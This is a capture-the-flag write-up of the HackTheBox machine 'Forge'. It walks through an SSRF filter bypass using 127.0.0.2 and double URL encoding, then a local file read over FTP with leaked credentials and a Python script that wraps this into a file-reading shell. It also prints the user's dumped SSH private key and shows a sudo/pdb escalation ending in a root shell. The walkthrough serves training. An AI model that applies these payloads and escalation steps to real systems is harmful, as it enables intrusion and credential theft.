This is a medium box on HackTheBox. It’s heavily based on some CTF-like WEB exploitation and some python code auditing. Both of which I consider one of my stronger suites so let’s see how I performed.

Challenge details:

  • Keywords: SSRF, Python, LFI

  • Solution: Bypassing an IP/Host based filter to get SSRF resulting in LFI leading to foothold, and exploiting a faulty python script running with elevated privileges.


Enumeration

Since we only start out with IP addresses in these challenges, the first step was to enumerate using nmap. I did some quick scans to kickstart my work and continued with more complicated checks while I followed down on the preliminary scans.

The results were a bit underwhelming:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-22 14:35 EDT
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.038s latency).

PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f78656629e4876b3cccb43ad25720ac (RSA)
|   256 79df3af1fe874a57b0fd4ed054c628d9 (ECDSA)
|_  256 b05811406d8cbdc572aa8308c551fb33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Gallery
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.94 seconds

We can see that FTP is filtered, probably only available from localhost.

SSH is unlikely to be the culprit here as I didn’t find any obvious vulnerabilities neither via searchsploit, nor the Internet so I moved on to working with the Web UI.

Recon on the WEB

We can see the website is a sort of “Gallery” with some pretty pretty pictures.

Gallery

I started an endpoint fuzzer in the background and I got some more leads to track:

> ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://forge.htb/FUZZ                             

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://forge.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

[Status: 301, Size: 224, Words: 21, Lines: 4, Duration: 93ms]
    * FUZZ: uploads

[Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 72ms]
    * FUZZ: static

[Status: 200, Size: 929, Words: 267, Lines: 33, Duration: 90ms]
    * FUZZ: upload

[Status: 200, Size: 2050, Words: 1069, Lines: 72, Duration: 230ms]
    * FUZZ: 

:: Progress: [87650/87650] :: Job [1/1] :: 649 req/sec :: Duration: [0:03:59] :: Errors: 0 ::

I moved on to the Upload an image section as it was a bit more interesting.

Upload page

It’s a UI to upload files …

Snape

There’s a twist however. It allows us to upload images using a URL defined by us! That’s a disaster cooking right there as the server would need to make a request to the specified resource.

URL upload

I played around with it a bit, and the requests going in look something like the following (using my own attacker machine to host a python server):

Uplaod request

It gives you a link from where you can download the uploaded file:

Download request

Don’t be fooled. The MIME type suggests it’s an image, but the contents are exactly what you’re hoping for, so if we can include other files, we can still read their contents easily.

Naturally, I wanted to try providing the domain name forge.htb to it, just to see what it does.

Blacklisted Domain

Certain domain names are blacklisted of course. The same goes for 127.0.0.1.

What can we do from here then?

There’s a neat trick! You can provide the address 127.0.0.2 and you’re still technically giving it the loopback address.

Blacklist bypass

As a side tangent, you should know that there’s actually a loopback address range rather than one single address of 127.0.0.1. It’s simply the most well known. Read more about this here

Using this approach, we can actually confirm the FTP service we saw earlier is indeed only available from the localhost:

Internal FTP

More recon

When you’re stuck, do more recon … Try to understand the app more and take a step back to figure out what you’re dealing with. The inability to decide is most likely due to the lack of information. Once you see it through, everything becomes clear as day.

After playing around with the app, I noticed some strange error messages echoed back to the response when requesting certain resources:

Urllib error

Naturally, I jumped in the rabbit hole and read through countless pages of documentation and blog posts trying to understand what to do here but I just couldn’t understand why I was getting this shitty domain name related error.

Then it clicked … domain!

I didn’t actually enumerate everything. In fact, I did a fairly shitty job of enumeration :) So I fuzzed through the subdomains aaaand ….

Dave the dickhead

It was as I thought, there’s another subdomain.

> ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -H 'Host: FUZZ.forge.htb' -u http://forge.htb -fc 302


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://forge.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
 :: Header           : Host: FUZZ.forge.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

[Status: 200, Size: 27, Words: 4, Lines: 2, Duration: 1501ms]
    * FUZZ: admin

[Status: 200, Size: 27, Words: 4, Lines: 2, Duration: 53ms]
    * FUZZ: Admin

Cool, but it’s not accessible from the outside either, only from localhost.

Admin from localhost

How could we “redirect” a request to get to it through localhost?

Well we have an SSRF vuln of course!

Getting to the admin page

If we can bypass the IP based filtering, we can probably bypass the domain based filtering as their method most likely isn’t very … good.

This was another roadblock. I tried multiple methods, URL encoding the domain etc. In the end, all I had to do was double encode it and everything worked as shown below:

Domain blacklist bypass Admin page response

There seemed to be only one difference between the regular page and this one, the announcements endpoint.

Forging (get it?) a request to this will yield the following page:

curl http://forge.htb/uploads/fsHnuYQSmppRvS7dWk71                
<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>
</html>  

There are several interesting pieces of information here:

  • We get a pair of credentials: user:heightofsecurity123!
  • The upload endpoint on the admin page supports ftp:// schemes, maybe we can access the internal FTP server?
  • The upload endpoint now also supports GET request based uploads with the ?u= parameter, meaning we can use our SSRF without being able to issue a POST request like with the original upload endpoint

Putting these together I was able to create a payload that served me the /etc/passwd file from the server:

url=http://%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65%25%32%65%25%36%36%25%36%66%25%37%32%25%36%37%25%36%35%25%32%65%25%36%38%25%37%34%25%36%32/upload?u=ftp://user:heightofsecurity123!@127.0.0.2//etc/passwd&remote=1

An sure enough, we get the expected results:

> curl http://forge.htb/uploads/U4gcoOUuoOtdf8m0vNlW

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
user:x:1000:1000:NoobHacker:/home/user:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
ftp:x:113:118:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin

If we make a request to a directory, we need to append a / to the end of the request as shown below:

Directory LFI

The results then:

> curl http://forge.htb/uploads/SLsCD6YWh1zFeCWwSK7H

drwxr-xr-x    2 0        0            4096 Feb 01  2021 PackageKit
drwxr-xr-x    2 0        0            4096 May 20  2021 UPower
drwxr-xr-x    4 0        0            4096 Feb 01  2021 X11
-rw-r--r--    1 0        0            3028 Feb 01  2021 adduser.conf
drwxr-xr-x    2 0        0            4096 May 25  2021 alternatives
drwxr-xr-x    8 0        0            4096 Aug 19  2021 apache2
drwxr-xr-x    3 0        0            4096 Feb 01  2021 apparmor
drwxr-xr-x    7 0        0            4096 Aug 19  2021 apparmor.d
drwxr-xr-x    3 0        0            4096 Aug 19  2021 apport
drwxr-xr-x    7 0        0            4096 May 24  2021 apt
...

From here there’s a bit more work to be done:

Automating the exploit

I’m the type of person who wastes 2 months automating a task that can be done manually in 2 weeks. So I decided to create a sort of LFI Shell using this approach to make my life easier.

The approach is the following:

  • We’re working with a “global” cwd variable that represents our current directory
  • We can issue the commands cd and cat to move between directories and read files
  • Using cd modifies the global cwd and cat simply reads files in our current directory

After some work, I came up with the following script. It’s a bit ugly, but it works and a lot easier than copying the “uploaded” file’s link from burp and pasting it into my browser:

import requests
import json

SESS = requests.session()

URL = "http://forge.htb/upload"
DOMAIN = "http://%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65%25%32%65%25%36%36%25%36%66%25%37%32%25%36%37%25%36%35%25%32%65%25%36%38%25%37%34%25%36%32"
START_PATH = "/home/user/"

HEADERS = {
	"Content-type": "application/x-www-form-urlencoded",
}

def get_upload_address(resp):
	link_with_trailing = resp.split('<strong><a href="')[1]
	return link_with_trailing.split('">http://forge')[0]

def update_paths_from_command(cmd, cwd, filename):	
	if "cat" in cmd:
		filename = cmd.split(" ")[1]
	elif "cd" in cmd:
		if ".." in cmd:
			cwd = '/'.join(cwd.split("/")[:-2]) + "/"
		else:
			cwd += cmd.split(" ")[1] + "/"
	return cwd, filename

def main():

	cwd = START_PATH
	cmd = ""
	filename = ""

	while cmd != "exit":
	
		post_data = f'url={DOMAIN}/upload?u=ftp://user:heightofsecurity123!@127.0.0.2/{cwd + filename}&remote=1'
		upload_resp = SESS.post(url=URL, data=post_data, headers=HEADERS)
		
		link = get_upload_address(upload_resp.text)
		lfi_resp = SESS.get(url=link)
		
		print("\n" + cwd + "\n" + lfi_resp.text + "\n")
		
		filename = ""
		cmd = input("> ")
		
		cwd, filename = update_paths_from_command(cmd, cwd, filename)

main()

Gaining foothold (and user)

Notice we’re starting from the home folder of the user … user. Using the script above we actually get instant access to the user.txt file so we’re past that. The problem is, this is not a shell …

It looks like one, but we can only list directories and read files. It’s less than an FTP connection cause we cannot even upload files.

So, what do we have? We can read files, so we either need to find credentials or an identity file to log in via SSH.

Using the script I went through the application files in /var/wwww. I was hoping to find:

  • Comments with credentials
  • Pyenv files with credentials
  • Some connection object that receives hardcoded credentials
  • Anything worthwhile …

I had no luck, so I tried reading the ~/.ssh/id_rsa file from the user’s home folder and sure enough I got it:

-----BEGIN OPENSSH PRIVATE KEY-----
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
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----

Using this, I finally got the shell.

User shell

Getting root

From here, we needed to get to root. Instead of doing the usual dance of getting linpeas.sh onto the system, I just tried running sudo -l to see what I have.

> sudo -l

Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

Turns out we can run some remote management script with elevated privileges.

Let’s see the file contents:

#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

The script does the following:

  • Starts a listener with a random port on 127.0.0.1 and outputs the address to stdout
  • Asks for the secretadminpassword
  • Provides the user with a menu to do some management tasks

The script also catches every exception in one place and starts pdb if anything fails. This is important!

If you’re not familiar with pdb I recommend you get it under your belt. On one hand, it’s a handy debugging tool but it’s also an interactive python shell where you can, for example run imports and execute os commands.

This was my ticket to get root, but I needed to trigger PDB.

This was arguably the easiest part of the machine for me. I did the privesc completely by accident:

  • I started up the script with sudo /usr/bin/python3 /opt/remote-manage.py
  • I used nc localhost <port> from another SSH session to connect to it
  • Provided the password
  • Wanted to check something else so I killed nc
  • And I saw pdb got triggered because I abruptly closed the connection from the other side :)

From there, an import os; os.system('/bin/bash') did the trick and we were all done

Root shell

Final word and references

It might seem like the machine was simple but it still took me some time to get through it. Sometimes, solving challenges comes down to pure luck, but don’t be mistaken, the writeup is short but I spent lots of time thinking about it.

Have fun with hacking and remember, Try harder!.

~ r4bbit